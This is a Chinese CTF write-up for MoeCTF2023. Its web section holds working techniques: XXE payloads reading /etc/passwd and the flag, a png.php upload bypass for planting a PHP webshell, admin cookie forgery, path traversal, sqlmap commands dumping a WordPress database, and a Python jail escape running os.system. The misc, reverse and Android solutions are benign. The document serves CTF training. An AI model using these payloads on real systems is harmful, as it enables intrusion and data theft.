MoeCTF2023

WEB

http

Web入门指北

彼岸的flag

gas!gas!gas!

此时题目要求我们在0.5秒内做出正确的反应并且完成其指定的目标,这个时候我们可以看看前端,看看源码,但是此时都没有发现前端或者源码中泄露了flag,那么此时我们继续思考能否通过修改前端的值来加长我们的反应时间,很可惜依旧没有找到这个功能的计算函数,那么此时我们只能老老实实的按照游戏的玩法,此时我们可以让chagpt写一个脚本,通过脚本让程序来识别方向和速度,让其读取html中的关键字进而做出相对应的操作那么即可完成题目的要求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import re
url = 'http://localhost:60953/'
headers = {"Content-Type":"application/x-www-form-urlencoded"}
s = requests.Session()
req_post = s.post(
url=url,
data='driver=hey&steering_control=0&throttle=2',
headers=headers)
print(f'cookies = {s.cookies}')
post_data = 'driver=hey&steering_control=0&throttle=2'
print(re.findall(r'<h3><font color="red">(.*)</font></h3></div>',req_post.text)[0])
req = req_post.text
steering_control = 0
throttle = 0
for _ in range(7):
if '弯道向左' in req_post.text:
steering_control = 1
if '弯道向右' in req_post.text:
steering_control = -1
if '弯道直行' in req_post.text:
steering_control = 0
if '保持这个速度' in req_post.text:
throttle = 1
if '抓地力太大了' in req_post.text:
throttle = 2
if '抓地力太小了' in req_post.text:
throttle = 0
print(f'{steering_control =}')
print(f'{throttle =}')
req_post = s.post(
url=url,
data=f'driver=hey&steering_control={steering_control}&throttle={throttle}',
headers=headers
)
print(req_post.text)
print(re.findall(r'<h3><font color="red">(.*)</font></h3></div>',req_post.text)[0])
print(f'cookies = {s.cookies}')

此时可以根据readme进行一个注册和登入,登入之后当我们要获取flag时提醒我们不是admin

此时我们关注到这个题目的名称为Cookie,此时我们把重心放到这个cookie的内容中,此时我们发现这个token是base64编码而成的

那么此时我们就可以伪造一个amdin的token进行登入,有了这个admin的token我们就相当于拥有了令牌

moe图床

js代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
function uploadFile() {
const fileInput = document.getElementById('fileInput');
const file = fileInput.files[0];

if (!file) {
alert('请选择一个文件进行上传!');
return;
}

const allowedExtensions = ['png'];
const fileExtension = file.name.split('.').pop().toLowerCase();
if (!allowedExtensions.includes(fileExtension)) {
alert('只允许上传后缀名为png的文件!');
return;
}

const formData = new FormData();
formData.append('file', file);

fetch('upload.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(result => {
if (result.success) {
const uploadResult = document.getElementById('uploadResult');
const para = document.createElement('p');
para.textContent = ('地址:');
const link = document.createElement('a');
link.textContent = result.file_path;
link.href = result.file_path;
link.target = '_blank';
para.append(link);
uploadResult.appendChild(para);

alert('文件上传成功!');
} else {
alert('文件上传失败:' + result.message);
}
})
.catch(error => {
console.error('文件上传失败:', error);
});
}

此时前端的这个代码是规定我们只能传输png后缀的图片,然后传到后端与upload.php进行匹配

此时我们尝试能否获取到upload.php;此时我们通过post的方式来提交一个空数据并且访问upload.php

php代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
$targetDir = 'uploads/';
$allowedExtensions = ['png'];


if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];
$tmp_path = $_FILES['file']['tmp_name'];

if ($file['type'] !== 'image/png') {
die(json_encode(['success' => false, 'message' => '文件类型不符合要求']));
}

if (filesize($tmp_path) > 512 * 1024) {
die(json_encode(['success' => false, 'message' => '文件太大']));
}

$fileName = $file['name'];
$fileNameParts = explode('.', $fileName);

if (count($fileNameParts) >= 2) {
$secondSegment = $fileNameParts[1];
if ($secondSegment !== 'png') {
die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
}
} else {
die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
}

$uploadFilePath = dirname(__FILE__) . '/' . $targetDir . basename($file['name']);

if (move_uploaded_file($tmp_path, $uploadFilePath)) {
die(json_encode(['success' => true, 'file_path' => $uploadFilePath]));
} else {
die(json_encode(['success' => false, 'message' => '文件上传失败']));
}
}
else{
highlight_file(__FILE__);
}
?>

此时我们将注意力集中在下面这段代码里面

此时它是通过.来将文件名分割在一个数组里面,然后判断这个数组的第二个元素值是否为png,是的话就通过检测,并不判断数组中处第二个元素之后的其他元素值,那么此时我们的绕过思路就可以先传一张png图片,然后使用burpsuite将请求包拦截下来之后,我们修改这个png为png.php;那么此时这就是一个php文件,并且该文件名的被截取之后在数组中的第二个元素恰好为png可以通过检测

文件上传


了解你的座驾

进来之后是一个界面

此时后台源码和前端代码翻了翻没有看到啥有用的,此时我们可以看到flag藏在根目录下面,我们应该想办法将其读取出来,原本想要利用伪协议进行读取,但是此时并没有发现参数,那么我们可以抓包进行查看看看

此时发现了xml格式的内容,那么此时我们可以尝试XXE外部实体注入利用伪协议来获取flag

poc

1
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><xml><name>&xxe;</name></xml>

此时发现有回显

payload

1
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///flag" >]><xml><name>&xxe;</name></xml>

大海捞针

此时进去之后是通过get提交参数,然后跟上面的彼岸的flag一样都是给出聊天记录让你去找flag,但是此题却有1000个,那么此时我们可以让chatgpt写一个脚本,此脚本的功能是通过程序一个个的去访问id的值,然后在html中寻找包含moectf{的内容并且返回给我们
考虑到一个个的来速度过于慢,那么此时我们就可以让chatgpt加入多线程进行爆破提升效率

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import asyncio
import aiohttp

base_url = 'http://localhost:33216/?id='
keyword = 'moectf{'

async def fetch_url(session, i):
url = f'{base_url}{i}'
async with session.get(url) as response:
text = await response.text()
if keyword in text:
print(f'Found keyword "{keyword}" in {url}')

async def main():
async with aiohttp.ClientSession() as session:
tasks = [fetch_url(session, i) for i in range(1, 1001)]
await asyncio.gather(*tasks)

if __name__ == "__main__":
asyncio.run(main())


此时已经成功爆破出来了我们直接访问 http://101.42.178.83:7770/?id=945 的源码然后搜索即可获取flag

meo的图床

此时依旧是和上面一样的文件上传界面,此时我们可以修改请求包的文件名后缀来绕过png检测,但是此时我们发现我们传上去的马儿连接不了,那么此时我们再次传递一个phpinfo的文件看看是啥情况

此时我们可以发现我们的马儿应该是被解析成了图片导致无法生效;此时我扫描了一下网站后台依旧是没有存在后台泄露,那么此时我们将我们的注意力放到url上面
http://localhost:36151/images.php?name=64dfb129d333f_phpinfo.php
此时发现了是通过get来访问的并且带有参数,那么此时我们就可以尝试伪协议来读取,但是很可惜伪协议无法生效,但是因为可以读取我们上传的文件,那么此时我们就可以尝试目录穿越来读取文件
此时发现目录穿越成功我们来访问这个文件

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 <?php

highlight_file(__FILE__);

if (isset($_GET['param1']) && isset($_GET['param2'])) {
$param1 = $_GET['param1'];
$param2 = $_GET['param2'];

if ($param1 !== $param2) {

$md5Param1 = md5($param1);
$md5Param2 = md5($param2);

if ($md5Param1 == $md5Param2) {
echo "O.O!! " . getenv("FLAG");
} else {
echo "O.o??";
}
} else {
echo "o.O?";
}
} else {
echo "O.o?";
}

?> O.o?

此时发现让我们通过get的方式提交两个参数,这两个参数的值不能相等,但是其md5的若比较要相等,那么此时我门可以尝试数组绕过

MD5弱比较绕过

心海的小屋

信息收集

此时我们看到这个wordpress框架时我们第一个想法便是使用WPscan进行扫描漏洞然后在进行漏洞利用,可是在我们扫描之后发现没有任何的漏洞可以利用,那么此时我们就应该想想是否有啥后台可以被我们发现;此时我们成功的在请求头中发现我们以POST的形式向http://101.42.178.83:7770/word press/wp-content/plugins/visitor-logging/logger.php请求过地址

源码审计

此时我们访问http://101.42.178.83:7770/wordpress/wp-content/plugins/visitor-logging/logger.php发现存在源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
 <?php
/*
Plugin Name: Visitor auto recorder
Description: Automatically record visitor's identification, still in development, do not use in industry environment!
Author: KoKoMi
Still in development! :)
*/

// 不许偷看!这些代码我还在调试呢!
highlight_file(__FILE__);

// 加载数据库配置,暂时用硬编码绝对路径
require_once('/var/www/html/wordpress/' . 'wp-config.php');

$db_user = DB_USER; // 数据库用户名
$db_password = DB_PASSWORD; // 数据库密码
$db_name = DB_NAME; // 数据库名称
$db_host = DB_HOST; // 数据库主机

// 我记得可以用wp提供的global $wpdb来操作数据库,等旅游回来再研究一下
// 这些是临时的代码

$ip = $_POST['ip'];
$user_agent = $_POST['user_agent'];
$time = stripslashes($_POST['time']);

$mysqli = new mysqli($db_host, $db_user, $db_password, $db_name);

// 检查连接是否成功
if ($mysqli->connect_errno) {
echo '数据库连接失败: ' . $mysqli->connect_error;
exit();
}

$query = "INSERT INTO visitor_records (ip, user_agent, time) VALUES ('$ip', '$user_agent', $time)";

// 执行插入
$result = mysqli_query($mysqli, $query);

// 检查插入是否成功
if ($result) {
echo '数据插入成功';
} else {
echo '数据插入失败: ' . mysqli_error($mysqli);
}

// 关闭数据库连接
mysqli_close($mysqli);

//gpt真好用
数据插入失败: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')' at line 1

此时发现存在$ip = $_POST['ip'];$user_agent = $_POST['user_agent'];$time = stripslashes($_POST['time']);;那么此时我们可以怀疑
存在sql注入,并且从下方的报错中可以怀疑是报错注入;此时我们直接使用自动化工具sqlmap测一下

爆库

1
python sqlmap.py -r D:\桌面\MoeCTF2023\web\moectf.txt --dbs

爆表

1
python sqlmap.py -r D:\桌面\MoeCTF2023\web\moectf.txt -D wordpress --tables

爆列

1
python sqlmap.py -r D:\桌面\MoeCTF2023\web\moectf.txt -D wordpress -T secret_of_kokomi --columns

爆数据

1
2
python sqlmap.py -r D:\桌面\MoeCTF2023\web\moectf.txt -D wordpress -T secret_of_kokomi -C content
--dump

Jail

Jail Level 0

此时查看tips可以看到显示说eval可以使用

payload

1
2
eval("__import__('os').system('ls')")
eval("__import__('os').system('cat flag')")

MISC

Misc 入门指北

打不开的图片1

此时使用010打开之后发现是jpg格式的图片

然后发现少了jpg格式的文件头FFD8FF,此时我们将其补上;然后打开详细信息观察到一个十六进制编码,此时我们直接十六进制转ascii

打不开的图片2

此时使用010打开之后发现是png格式的图片

此时发现其文件头不为89504E47;更改之后打开即可看到flag

building_near_lake


此时直接拖入百度识图就识别出这个是厦门大学的翔安校区的图书馆

奇怪的压缩包

此时打开之后发现是ppt的配置文件

此时我们只需要将.zip改成.ppt即可
此时涉及到ppt的隐写,此时一般就是字体颜色的隐藏和ppt的隐藏,我们可以直接全选把字体改成鲜艳一点即可

后面的flag是藏在图片后面和在大纲里面,移动掉图片即可和展开大纲即可

烫烫烫

1
+j9k-+Zi8-+T2A-+doQ-flag+/xo-+AAo-+AAo-a9736d8ad21107398b73324694cbcd11f66e3befe67016def21dcaa9ab143bc4405be596245361f98db6a0047b4be78ede40864eb988d8a4999cdcb31592fd42c7b73df3b492403c9a379a9ff5e81262+AAo-+AAo-+T0Y-+Zi8-flag+dSg-AES+UqA-+W8Y-+ToY-+/ww-key+Zi8-+Tgs-+l2I-+j9k-+iEw-+W1c-+doQ-sha256+/wg-hash+UDw-+doQ-+XwA-+WTQ-+Zi8-b34edc782d68fda34dc23329+/wk-+AAo-+AAo-+YkA-+TuU-+i/Q-+/ww-codepage+dx8-+doQ-+X4g-+kc0-+iYE-+VUo-+/wg-+AAo

直接尝试一键解码试试看,发现是UTF-7的编码

接下来是AES解码

你想要flag吗

此时下来之后发现是一段wav音频此时我们使用Au工具打开之后发现了key和passwd

此时首先考虑的就是DeepSound和SilentEye但是很可惜并没有发现东西;这个时候我们可以一个一个的音频隐写工具试过去;最后发现是Steghide

然后此时我们看到这个文档的名字叫做兔兔就可以尝试一下兔子密码

狗子(1) 普通的猫

狗子(2) 照片

此时打开之后是一张png照片,此时通过常规的查找并没有发现信息泄露,考虑到是png的隐写,此时我们可以尝试一下看看是不是LSB的隐写
此时使用StegSolve打开之后在每个通道的第0像素位都发现了存在东西

但是此时却发现StegSlove无法成功提取,我们考虑换一个可以提取LSB隐写的工具CyberChef

狗子(3) 寝室

此时下载下来之后发现是一个套娃(套了一万次哇)的压缩包,并且存在不同种类的压缩包,此时我们可以考虑写一个脚本帮我们自动解压;这里建议解压完
一个就删除上一个(不然电脑硬盘会变红,别问我为啥知道)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import os
import shutil
import tarfile
import zipfile
import py7zr


def extract_archive(archive_filename, output_dir):
if archive_filename.endswith('.tar'):
with tarfile.open(archive_filename, 'r') as tar_ref:
tar_ref.extractall(output_dir)
elif archive_filename.endswith('.tar.gz') or archive_filename.endswith('.tgz'):
with tarfile.open(archive_filename, 'r:gz') as tar_ref:
tar_ref.extractall(output_dir)
elif archive_filename.endswith('.zip'):
with zipfile.ZipFile(archive_filename, 'r') as zip_ref:
zip_ref.extractall(output_dir)
elif archive_filename.endswith('.7z'):
with py7zr.SevenZipFile(archive_filename, mode='r') as seven_zip_ref:
seven_zip_ref.extractall(output_dir)


def delete_previous_archive(archive_filename):
os.remove(archive_filename)


if __name__ == "__main__":
source_archive = "F:/寝室/shell96.tar.gz" # 替换为实际的源套娃压缩包路径
output_directory = "F:/寝室/" # 替换为实际的输出目录路径

if not os.path.exists(output_directory):
os.makedirs(output_directory)

previous_archive = None

while source_archive:
extract_archive(source_archive, output_directory)
if previous_archive:
delete_previous_archive(previous_archive)
previous_archive = source_archive
source_archive = os.path.join(output_directory, os.listdir(output_directory)[0])

print("套娃压缩包已成功解压并前一个压缩包已删除。")

Reverse

Reverse入门指北

此时将该程序拖入IDA,此时从mian函数先看起,此时发现只要我们输入13,即可输出

接下来我们跟进输出看看输出的是否为flag

base_64

此时打开为一个pyc的文件,我们需要对其进行一个反编译,使用在线网站对其进行一个反编译,编译之后源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.7

import base64
from string import *
str1 = 'yD9oB3Inv3YAB19YynIuJnUaAGB0um0='
string1 = 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba0123456789+/'
string2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
flag = input('welcome to moectf\ninput your flag and I wiil check it:')
enc_flag = base64.b64encode(flag.encode()).decode()
enc_flag = enc_flag.translate(str.maketrans(string2, string1))
if enc_flag == str1:
print('good job!!!!')
else:
print('something wrong???')
exit(0)

py代码审计

此时阅读源码之后发现是要求 我们输入的字符串经过程序的加密之后的值要与str1一样;此时我们来看它的加密步骤,此时是先将用户输入的”flag”字符串先转换为字节编码,然后使用Base64编码进行加密,最后将加密后的结果转换为字符串。然后将加密后的Base64字符串中的字符按照string2到string1的映射进行替换。
所以此时我们的目的很明确,就是我们输入的字符串在经过程序的处理之后值为str1,那么此时我们可以将该程序逆过来,将str1作为我们的输入,然后经过base64的解码之后在做一个映射即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.7

def custom_base64_decode(encoded_str, custom_charset):
standard_charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

# Create a translation table to map characters from custom charset to standard charset
translation_table = str.maketrans(custom_charset, standard_charset)

# Translate the encoded string back to standard Base64
standard_encoded = encoded_str.translate(translation_table)

# Decode the standard Base64 encoded string
decoded_bytes = base64.b64decode(standard_encoded)

return decoded_bytes.decode('utf-8') # Decode the bytes to a UTF-8 string


custom_encoded_str = 'yD9oB3Inv3YAB19YynIuJnUaAGB0um0=' # Replace with your encoded string
custom_charset = 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba0123456789+/'

import base64

decoded_text = custom_base64_decode(custom_encoded_str, custom_charset)
print("Decoded Text:", decoded_text)

Xor

此时依旧从main函数开始看起,此时要求我们输入一个数组,并且该数组中的每一个元素与0x39进行异或,异或完的值要与enc[i]相等

此时我们可以观察一下enc数组内的值

此时我们可以写一个异或脚本来输出我们应该输入的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def find_xor_operand_hex(known_xor_hex, known_operand_hex):
known_xor = int(known_xor_hex, 16)
known_operand = int(known_operand_hex, 16)
unknown_operand = known_xor ^ known_operand
return unknown_operand

# 已知的异或结果和操作数(以十六进制表示)
known_xor_result_hex = '0x10'
known_operand_hex = '0x39'

# 求解另一个操作数
unknown_operand = find_xor_operand_hex(known_xor_result_hex, known_operand_hex)

# 以十六进制形式输出未知操作数
unknown_operand_hex = hex(unknown_operand)[2:].upper()

print(f"The unknown operand in hexadecimal is: {unknown_operand_hex}")

接下来根据这个脚本我们得到了我们需要输入的值

1
0x6D,0x6F,0x65,0x63,0x74,0x66,0x7B,0x59,0x6F,0x75,0x5F,0x6B,0x6E,0x30,0x77,0x5F,0x68,0x30,0x77,0x5F,0x74,0x30,0x5F,0x58,0x30,0x52,0x21,0x7D,0x29

接下来输出他们即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>

int main() {
unsigned char input[] = { 0x6D, 0x6F, 0x65, 0x63, 0x74, 0x66, 0x7B, 0x59, 0x6F, 0x75, 0x5F, 0x6B, 0x6E, 0x30, 0x77, 0x5F, 0x68, 0x30, 0x77, 0x5F, 0x74, 0x30, 0x5F, 0x58, 0x30, 0x52, 0x21, 0x7D, 0x29 };
int input_size = sizeof(input) / sizeof(input[0]);

printf("输入的数组内容为:\n");

for (int i = 0; i < input_size; i++) {
printf("%c", input[i]);
}

printf("\n");

return 0;
}

UPX!

查壳

此时因为题目给出了upx,所以此时我们先查一下壳

脱壳

此时提示我们存在壳需要脱壳

IDA逆向分析

此时先使用shift+f12看看有啥,此时发现了moectf的相关线索

此时跳转到该地址之后按下f5反汇编为c语言

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
__int64 sub_140079760()
{
char *v0; // rdi
__int64 i; // rcx
unsigned __int64 v2; // rax
char v4[32]; // [rsp+0h] [rbp-20h] BYREF
char v5; // [rsp+20h] [rbp+0h] BYREF
char v6[76]; // [rsp+28h] [rbp+8h] BYREF
int j; // [rsp+74h] [rbp+54h]
unsigned __int64 v8; // [rsp+148h] [rbp+128h]

v0 = &v5;
for ( i = 34; i; --i )
{
*(_DWORD *)v0 = -858993460;
v0 += 4;
}
sub_140075557(&unk_1401A7008);
sub_140073581("welcome to moectf");
sub_140073581("I put a shell on my program to prevent you from reversing it, you will never be able to reverse it hhhh~~");
sub_140073581("Now tell me your flag:");
memset(v6, 0, 0x2Aui64);
sub_1400727F8("%s", v6);
for ( j = 0; ; ++j )
{
v8 = j;
v2 = sub_140073829(v6);
if ( v8 >= v2 )
break;
v6[j] ^= 0x67u;
if ( byte_140196000[j] != v6[j] )
{
sub_140073973("try again~~");
sub_1400723F7(0);
}
}
sub_140073973("you are so clever!");
sub_140074BCF(v4, &unk_140162070);
return 0;
}

c代码审计

此时我们将注意力集中到下面这个验证代码

此时是将我们输入的数做一个异或的操作,要求我们输入的值经过异或操作之后要与byte_140196000[j]数组中的值相等;此时我们跳转到该数组

此时该情况和上面的Xor差不多,较为迷惑人的是这个3 dum('F');我在这里也卡了比较久,经过尝试之后发现是F’,’F’,’F’;所以此时我们已经知道
异或的操作数和结果;此时我们可以将他们两个做异或来输出我们的flag,跟上面那题Xor一样的思路

exp

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
int main()
{
int a[] = { 0x0a,8,2,4,0x13,1,0x1c,'W',0x0F,'8',0x1e,'W',0x12,'8',',',9,'W',0x10,'8','/','W',0x10,'8',0x13,8,'8','5',2,0x11,'T',0x15,0x14,2,'8','2','7','?', 'F','F','F',0x1a };
for (int i = 0; i < 41; i++)
{
printf("%c", a[i] ^ 'g');
}
return 0;
}

ANDROID

MainActivity的寻找

对于android的入门题目,我们只需要找到函数的入口MainActivity;这个时候我们可以先安装一下这个apk看看存在什么事件;此时发现存在onClick点击事件

此时我们使用jadx将apk进行反编译然后寻找MainActivity的onClick事件

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package com.doctor3.basicandroid;

import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;

/* loaded from: classes.dex */
public class MainActivity extends AppCompatActivity {
char[] enc = {25, 7, 0, 14, 27, 3, 16, '/', 24, 2, '\t', ':', 4, 1, ':', '*', 11, 29, 6, 7, '\f', '\t', '0', 'T', 24, ':', 28, 21, 27, 28, 16};
char[] key = {'t', 'h', 'e', 'm', 'o', 'e', 'k', 'e', 'y'};

/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_main);
final EditText editText = (EditText) findViewById(R.id.input);
((Button) findViewById(R.id.check)).setOnClickListener(new View.OnClickListener() { // from class: com.doctor3.basicandroid.MainActivity.1
@Override // android.view.View.OnClickListener
public void onClick(View view) {
String obj = editText.getText().toString();
if (obj.length() != 31) {
Toast.makeText(MainActivity.this.getApplicationContext(), "长度不对哦", 0).show();
return;
}
byte[] bytes = obj.getBytes();
for (int i = 0; i < 31; i++) {
if ((bytes[i] ^ MainActivity.this.key[i % MainActivity.this.key.length]) != MainActivity.this.enc[i]) {
Toast.makeText(MainActivity.this.getApplicationContext(), "好像有哪里不对", 0).show();
return;
}
}
Toast.makeText(MainActivity.this.getApplicationContext(), "恭喜!回答正确", 0).show();
}
});
}
}

此时我们将注意力集中在这个恭喜回到正确的判断中

此时我们可以先看一下这个判断过程,它要求我们一定要输入长度为31的字符串,然后在进行异或时将我们输入的第几个数组元素与key中的元素个数取余后进行一个异或操作并且要求我们异或的结果要与enc数组中的对应元素相等(讲得有点乱)就是数组中第几个元素要相对应;这个不久跟上面几题都一样执
行的都是异或的操作并且知道异或的操作数和异或值,那么此时我们可以将异或的操作数和结果异或就可以得到我们的输入值

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>

char enc[31] = { 25, 7, 0, 14, 27, 3, 16, '/', 24, 2, 9, ':', 4, 1, ':', '*', 11, 29, 6, 7, 12, 9, '0', 'T', 24, ':', 28, 21, 27, 28, 16 };
char key[9] = { 't', 'h', 'e', 'm', 'o', 'e', 'k', 'e', 'y' };

void decrypt(char* enc, int encLen, const char* key, int keyLen) {
for (int i = 0; i < encLen; i++) {
enc[i] ^= key[i % keyLen]; // 使用异或运算解密
}
}

int main() {
int encLen = sizeof(enc) / sizeof(enc[0]);
int keyLen = sizeof(key) / sizeof(key[0]);

decrypt(enc, encLen, key, keyLen);

printf("Decrypted message: %s\n", enc);

return 0;
}

RRRRRc4

查壳

IDA分析


跳转后反汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
__int64 sub_140079A70()
{
char *v0; // rdi
__int64 i; // rcx
char v3[32]; // [rsp+0h] [rbp-30h] BYREF
char v4; // [rsp+30h] [rbp+0h] BYREF
char v5[256]; // [rsp+40h] [rbp+10h] BYREF
char v6[256]; // [rsp+160h] [rbp+130h] BYREF
char v7[44]; // [rsp+278h] [rbp+248h] BYREF
int v8; // [rsp+2A4h] [rbp+274h]
int j; // [rsp+2C4h] [rbp+294h]

v0 = &v4;
for ( i = 172i64; i; --i )
{
*(_DWORD *)v0 = -858993460;
v0 += 4;
}
sub_14007555C(&unk_1401A7007);
memset(v5, 0, sizeof(v5));
memset(v6, 0, sizeof(v6));
strcpy(v7, "moectf2023");
v8 = 0;
sub_140073581("welcome to moectf!!!");
sub_140073581("This is a very common algorithm ");
sub_140073581("show your flag:");
sub_1400727F8("%s", byte_140197260);
if ( sub_140073829(byte_140197260) == 37 )
{
sub_140075052((unsigned int)v5, (unsigned int)v6, (unsigned int)byte_140197260, 38, (__int64)v7, 10);
for ( j = 0; (unsigned __int64)j < 0x26; ++j )
{
if ( byte_140196000[j] == (unsigned __int8)byte_140197260[j] )
++v8;
}
}
if ( v8 == 37 )
sub_140073973("right!flag is your input!");
else
sub_140073973("try again~");
sub_140074BCF(v3, &unk_140162100);
return 0i64;
}

代码审计

此时我们观察到要输出flag就要v8=37;要v8=37就要执行v8++;要v8++就要执行byte_140196000[j] == (unsigned __int8)byte_140197260[j]

此时我们跳转到这个判断函数看看;此时已经给出了结果

此时我们看看我们的(unsigned __int8)byte_140197260[j]经过了什么处理

此时我们继续跟进sub_140075052这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
__int64 __fastcall sub_1400795E0(__int64 a1, __int64 a2, __int64 a3, int a4, __int64 a5, unsigned int a6)
{
__int64 result; // rax
int i; // [rsp+24h] [rbp+4h]
int j; // [rsp+24h] [rbp+4h]
int v9; // [rsp+24h] [rbp+4h]
int v10; // [rsp+44h] [rbp+24h]
int v11; // [rsp+44h] [rbp+24h]
char v12; // [rsp+64h] [rbp+44h]
char v13; // [rsp+64h] [rbp+44h]
int v14; // [rsp+A4h] [rbp+84h]

result = sub_14007555C(&unk_1401A7007);
v10 = 0;
v14 = 0;
for ( i = 0; i < 256; ++i )
{
*(_BYTE *)(a1 + i) = i;
*(_BYTE *)(a2 + i) = *(_BYTE *)(a5 + i % a6);
result = (unsigned int)(i + 1);
}
for ( j = 0; j < 256; ++j )
{
v10 = (*(unsigned __int8 *)(a2 + j) + *(unsigned __int8 *)(a1 + j) + v10) % 256;
v12 = *(_BYTE *)(a1 + v10);
*(_BYTE *)(a1 + v10) = *(_BYTE *)(a1 + j);
*(_BYTE *)(a1 + j) = v12;
result = (unsigned int)(j + 1);
}
v9 = 0;
v11 = 0;
while ( a4 )
{
v9 = (v9 + 1) % 256;
v11 = (*(unsigned __int8 *)(a1 + v9) + v11) % 256;
v13 = *(_BYTE *)(a1 + v11);
*(_BYTE *)(a1 + v11) = *(_BYTE *)(a1 + v9);
*(_BYTE *)(a1 + v9) = v13;
*(_BYTE *)(a3 + v14++) ^= *(_BYTE *)(a1 + (*(unsigned __int8 *)(a1 + v11) + *(unsigned __int8 *)(a1 + v9)) % 256);
result = (unsigned int)--a4;
}
return result;
}

跟进之后经过AI的解释后发现这个是一个rc4的一个加密函数
所以这一整个过程就是你输入的值经过了rc4的加密之后的值要和byte_140196000[j]数组中的值相等;所以此时我们直接把byte_140196000[j]的值拿去rc4解密即可获得我们应该输入的值也就是flag